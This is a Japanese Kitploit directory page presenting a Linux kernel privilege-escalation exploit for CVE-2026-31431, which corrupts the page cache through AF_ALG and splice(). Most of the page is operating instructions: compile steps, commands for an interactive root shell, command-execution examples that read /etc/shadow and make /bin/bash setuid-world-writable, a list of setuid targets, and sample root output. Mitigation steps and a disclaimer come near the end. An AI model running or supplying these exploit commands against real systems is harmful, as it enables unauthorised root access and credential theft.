Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
copy-fail_LPE_Interactive — CVE-2026-31431 のエクスプロイト。Linux カーネルのページキャッシュ破損の脆弱性であり、AF_ALG と splice() チェーンを介して対話型ルートシェルと非対話型コマンド実行を提供します。 | Kitploit
ツール/GitHubGitHub/h1d3r/copy-fail_lpe_interactive
特権昇格エクスプロイトフレームワーク脆弱性分析エクスプロイトペネトレーションテストバイナリエクスプロイト
GitHubh1d3r/copy-fail_lpe_interactive

copy-fail_LPE_Interactive

CVE-2026-31431 のエクスプロイト。Linux カーネルのページキャッシュ破損の脆弱性であり、AF_ALG と splice() チェーンを介して対話型ルートシェルと非対話型コマンド実行を提供します。

リポジトリを見る
3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-31431 Copy Fail Exploit

Linux カーネルの page cache 汚染脆弱性を利用したツールで、非対話型コマンド実行をサポートします。

脆弱性の概要

CVE-2026-31431 は、Linux カーネルの authencesn AEAD アルゴリズム実装に存在する論理的欠陥です。AF_ALG と splice() システムコールチェーンを介して、攻撃者は任意の読み取り可能ファイルの page cache に 4 バイトのデータを書き込むことができます。

影響範囲:

  • Linux カーネル 4.14+ (2017年 - 2026年4月)
  • ほぼすべての主要ディストリビューション: Ubuntu、Debian、CentOS、RHEL、Amazon Linux など

脆弱性の特徴:

  • 100% 信頼性が高く、競合状態は不要
  • カーネルオフセット計算は不要
  • 同じバイナリファイルがすべてのディストリビューションで動作
  • ディスク上のファイルは変更せず、メモリキャッシュのみを汚染

ファイル構成

root@kitploit:~
.
├── copyfail_universal.c    # メインPOCソースコード(静的コンパイル、libc依存なし)
├── copyfail_universal      # コンパイル済みバイナリ
├── run_cmd.sh              # 非対話型実行ラッパースクリプト
├── Makefile                # コンパイルスクリプト
└── README.md               # 本ドキュメント

コンパイル

root@kitploit:~
# 方法1: gcc と ld を使用
gcc -c copyfail_universal.c -o copyfail_universal.o -O2 -fno-stack-protector -fno-pic -fno-pie
ld copyfail_universal.o -o copyfail_universal -static -nostdlib
chmod +x copyfail_universal

# 方法2: Makefile を使用
make

使用方法

対話型 Root Shell

root@kitploit:~
./copyfail_universal

非対話型コマンド実行

root@kitploit:~
# 方法1: ラッパースクリプトを使用(推奨)
./run_cmd.sh "id"
./run_cmd.sh "cat /etc/shadow"
./run_cmd.sh "chmod 4777 /bin/bash"

# 方法2: パイプ経由
echo 'id > /tmp/pwned.txt; exit' | ./copyfail_universal

# 方法3: 環境変数を使用
CMD='whoami' ./copyfail_universal

他の setuid ターゲットを指定

root@kitploit:~
# デフォルトのターゲットは /usr/bin/su
# ソースコード内の path 変数を変更することで他のターゲットを指定可能

# 一般的に利用可能なターゲット:
# /usr/bin/su
# /usr/bin/passwd
# /usr/bin/chsh
# /usr/bin/chfn
# /usr/bin/gpasswd
# /usr/bin/pkexec

自動復旧

この脆弱性は page cache のみを変更し、ディスク上のファイルは変更しません。以下のコマンドで復旧できます:

root@kitploit:~
sync; echo 3 > /proc/sys/vm/drop_caches

run_cmd.sh スクリプトには自動復旧機能が組み込まれています。

出力例

root@kitploit:~
$ ./run_cmd.sh "id"

[*] CVE-2026-31431 Copy Fail Exploit
[*] Target: /usr/bin/su
[*] Mode: Interactive shell
[*] Payload size: 112 bytes
[*] Corrupting page cache...
[+] Done! Executing su...

uid=0(root) gid=1000(user) groups=1000(user),4(adm),27(sudo)

影響を受ける setuid プログラム

システム上のすべての setuid プログラムを検索:

root@kitploit:~
find / -perm -4000 -user root -type f 2>/dev/null

修正の推奨事項

  1. カーネルの更新 - パッチ a664bf3d603d を含むカーネルバージョンにアップグレード

  2. 一時的な緩和策 - algif_aead モジュールを無効化:

    root@kitploit:~
    echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
    rmmod algif_aead 2>/dev/null || true
    
  3. コンテナ環境 - seccomp を使用して AF_ALG socket の作成をブロック

技術詳細

  • 脆弱性タイプ: Page cache 書き込み境界外
  • 根本原因: authencesn がターゲットバッファを一時ストレージとして使用し、境界外に 4 バイト書き込む
  • 悪用手法: splice() を介して page cache ページを crypto サブシステムに渡す
  • 書き込み能力: 各操作で任意の読み取り可能ファイルの page cache に 4 バイト書き込み可能

免責事項

本ツールはセキュリティ研究および認可されたテスト専用です。認可されていないシステムへの攻撃に本ツールを使用することは違法行為です。利用者はすべての法的責任を負うものとします。

参考資料

  • CVE-2026-31431 Write-up
  • Xint Blog - Copy Fail
  • GitHub - 公式POC
ツールをダウンロード
プログラムパス可用性
su/usr/bin/su✅ デフォルト
passwd/usr/bin/passwd✅
chsh/usr/bin/chsh✅
chfn/usr/bin/chfn✅
gpasswd/usr/bin/gpasswd✅
pkexec/usr/bin/pkexec✅
mount/bin/mount✅
umount/bin/umount✅